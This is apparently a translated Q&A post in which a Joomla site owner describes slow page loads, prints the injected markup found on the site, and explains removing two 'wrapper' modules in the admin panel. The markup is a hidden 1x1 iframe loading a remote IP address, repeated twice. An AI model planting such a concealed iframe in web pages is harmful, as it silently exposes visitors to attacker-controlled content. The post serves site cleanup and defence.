joomla ページの読み込みが非常に遅く、悪意のある iFrame が原因である可能性があることに気付いた場合は、以下の回答を参照してください。
1 に答える
0
私のサイトには、次のコードがありました。
<div class="module">
<div>
<div>
<div>
<script language="javascript" type="text/javascript">
function iFrameHeight() {
var h = 0;
if ( !document.all ) {
h = document.getElementById('blockrandom').contentDocument.height;
document.getElementById('blockrandom').style.height = h + 60 + 'px';
} else if( document.all ) {
h = document.frames('blockrandom').document.body.scrollHeight;
document.all.blockrandom.style.height = h + 20 + 'px';
}
}
</script>
<iframe onload="iFrameHeight()" id="blockrandom"
name=""
src="http://88.198.219.85"
width="1"
height="1"
scrolling="auto"
align="top"
frameborder="0"
class="wrapper">
No Iframes</iframe> </div>
</div>
</div>
</div>
<div class="module">
<div>
<div>
<div>
<script language="javascript" type="text/javascript">
function iFrameHeight() {
var h = 0;
if ( !document.all ) {
h = document.getElementById('blockrandom').contentDocument.height;
document.getElementById('blockrandom').style.height = h + 60 + 'px';
} else if( document.all ) {
h = document.frames('blockrandom').document.body.scrollHeight;
document.all.blockrandom.style.height = h + 20 + 'px';
}
}
</script>
<iframe onload="iFrameHeight()" id="blockrandom"
name=""
src="http://88.198.219.85"
width="1"
height="1"
scrolling="auto"
align="top"
frameborder="0"
class="wrapper">
No Iframes</iframe> </div>
</div>
</div>
</div>
</div>
<!-- TOP BANNER PART END -->
私がそれを削除できた唯一の方法は、Joomla Admin -> Modules に移動し、「トップ」位置でフィルタリングすることでした。これにより、「wrapper」という名前の 2 つのモジュールがmod_wrapper
88.198.219.85 を指すタイプになります。
同じ問題を抱えている(未解決の)この人を除いて、インターネットで助けが見つからなかったので、これが誰かの助けになることを願っていますhttp://forum.joomla.org/viewtopic.php?f=428&t=773730
于 2013-02-24T15:26:51.020 に答える